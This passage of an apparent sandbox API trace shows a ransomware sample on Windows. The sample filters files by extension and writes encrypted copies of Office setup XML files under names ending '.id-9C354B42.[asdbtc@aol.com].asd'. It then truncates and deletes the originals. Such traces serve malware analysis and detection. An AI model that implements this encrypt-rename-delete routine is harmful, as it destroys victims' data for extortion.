(lpString1=".zip", lpString2=".XML") returned 1 [0050.110] lstrlenW (lpString=".rar") returned 4 [0050.110] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString=".bz2") returned 4 [0050.110] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString=".7z") returned 3 [0050.110] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString=".dbf") returned 4 [0050.110] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString=".1cd") returned 4 [0050.110] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString=".jpg") returned 4 [0050.110] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.110] lstrlenW (lpString=".doc") returned 4 [0050.110] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString=".docx") returned 5 [0050.110] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.110] lstrlenW (lpString=".pdf") returned 4 [0050.110] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString=".xls") returned 4 [0050.110] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.110] lstrlenW (lpString=".xlsx") returned 5 [0050.110] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.111] lstrlenW (lpString=".ppt") returned 4 [0050.111] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.111] lstrlenW (lpString=".zip") returned 4 [0050.111] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.111] lstrlenW (lpString=".rar") returned 4 [0050.111] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.111] lstrlenW (lpString=".bz2") returned 4 [0050.111] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.111] lstrlenW (lpString=".7z") returned 3 [0050.111] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.111] lstrlenW (lpString=".dbf") returned 4 [0050.111] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.111] lstrlenW (lpString=".1cd") returned 4 [0050.111] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0050.111] lstrlenW (lpString=".jpg") returned 4 [0050.111] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.111] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.111] lstrlenW (lpString="SETUP.XML") returned 9 [0050.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.115] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1988) returned 1 [0050.115] CloseHandle (hObject=0x1f0) returned 1 [0050.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0050.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.115] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.116] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.116] GetLastError () returned 0x0 [0050.116] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0050.403] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0050.404] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.404] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.404] SetEndOfFile (hFile=0x204) returned 1 [0050.404] CloseHandle (hObject=0x204) returned 1 [0050.405] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.405] SetEndOfFile (hFile=0x1f0) returned 1 [0050.406] CloseHandle (hObject=0x1f0) returned 1 [0050.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.406] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0050.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.406] lstrlenW (lpString=".doc") returned 4 [0050.406] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".docx") returned 5 [0050.407] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.407] lstrlenW (lpString=".pdf") returned 4 [0050.407] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".xls") returned 4 [0050.407] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".xlsx") returned 5 [0050.407] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.407] lstrlenW (lpString=".ppt") returned 4 [0050.407] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString=".zip") returned 4 [0050.407] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.407] lstrlenW (lpString=".rar") returned 4 [0050.407] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".bz2") returned 4 [0050.407] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".7z") returned 3 [0050.407] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString=".dbf") returned 4 [0050.407] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString=".1cd") returned 4 [0050.407] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString=".jpg") returned 4 [0050.407] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.407] lstrlenW (lpString=".doc") returned 4 [0050.407] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.407] lstrlenW (lpString=".docx") returned 5 [0050.408] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.408] lstrlenW (lpString=".pdf") returned 4 [0050.408] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString=".xls") returned 4 [0050.408] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString=".xlsx") returned 5 [0050.408] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.408] lstrlenW (lpString=".ppt") returned 4 [0050.408] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.408] lstrlenW (lpString=".zip") returned 4 [0050.408] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.408] lstrlenW (lpString=".rar") returned 4 [0050.408] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString=".bz2") returned 4 [0050.408] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString=".7z") returned 3 [0050.408] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.408] lstrlenW (lpString=".dbf") returned 4 [0050.408] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.408] lstrlenW (lpString=".1cd") returned 4 [0050.408] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.408] lstrlenW (lpString=".jpg") returned 4 [0050.408] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.408] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.409] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0050.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.409] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1450) returned 1 [0050.409] CloseHandle (hObject=0x1f0) returned 1 [0050.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0050.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.409] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.409] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.710] GetLastError () returned 0x0 [0050.710] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0050.712] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0050.713] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.713] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0050.713] SetEndOfFile (hFile=0x208) returned 1 [0050.713] CloseHandle (hObject=0x208) returned 1 [0050.714] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.714] SetEndOfFile (hFile=0x1f0) returned 1 [0050.715] CloseHandle (hObject=0x1f0) returned 1 [0050.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.715] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0050.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.715] lstrlenW (lpString=".doc") returned 4 [0050.715] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.715] lstrlenW (lpString=".docx") returned 5 [0050.715] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.715] lstrlenW (lpString=".pdf") returned 4 [0050.715] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.715] lstrlenW (lpString=".xls") returned 4 [0050.715] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.715] lstrlenW (lpString=".xlsx") returned 5 [0050.715] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.716] lstrlenW (lpString=".ppt") returned 4 [0050.716] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString=".zip") returned 4 [0050.716] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.716] lstrlenW (lpString=".rar") returned 4 [0050.716] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString=".bz2") returned 4 [0050.716] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString=".7z") returned 3 [0050.716] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString=".dbf") returned 4 [0050.716] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString=".1cd") returned 4 [0050.716] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString=".jpg") returned 4 [0050.716] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.716] lstrlenW (lpString=".doc") returned 4 [0050.716] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString=".docx") returned 5 [0050.716] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.716] lstrlenW (lpString=".pdf") returned 4 [0050.716] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString=".xls") returned 4 [0050.716] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.716] lstrlenW (lpString=".xlsx") returned 5 [0050.717] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.717] lstrlenW (lpString=".ppt") returned 4 [0050.717] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.717] lstrlenW (lpString=".zip") returned 4 [0050.717] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.717] lstrlenW (lpString=".rar") returned 4 [0050.717] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.717] lstrlenW (lpString=".bz2") returned 4 [0050.717] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.717] lstrlenW (lpString=".7z") returned 3 [0050.717] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.717] lstrlenW (lpString=".dbf") returned 4 [0050.717] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.717] lstrlenW (lpString=".1cd") returned 4 [0050.717] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0050.717] lstrlenW (lpString=".jpg") returned 4 [0050.717] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.717] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.717] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0050.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.719] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=6421) returned 1 [0050.719] CloseHandle (hObject=0x20c) returned 1 [0050.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0050.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.719] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.719] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.719] GetLastError () returned 0x0 [0050.719] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x1915, lpOverlapped=0x0) returned 1 [0050.721] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0050.722] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.722] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0050.722] SetEndOfFile (hFile=0x1f0) returned 1 [0050.722] CloseHandle (hObject=0x1f0) returned 1 [0050.723] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.723] SetEndOfFile (hFile=0x20c) returned 1 [0050.724] CloseHandle (hObject=0x20c) returned 1 [0050.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 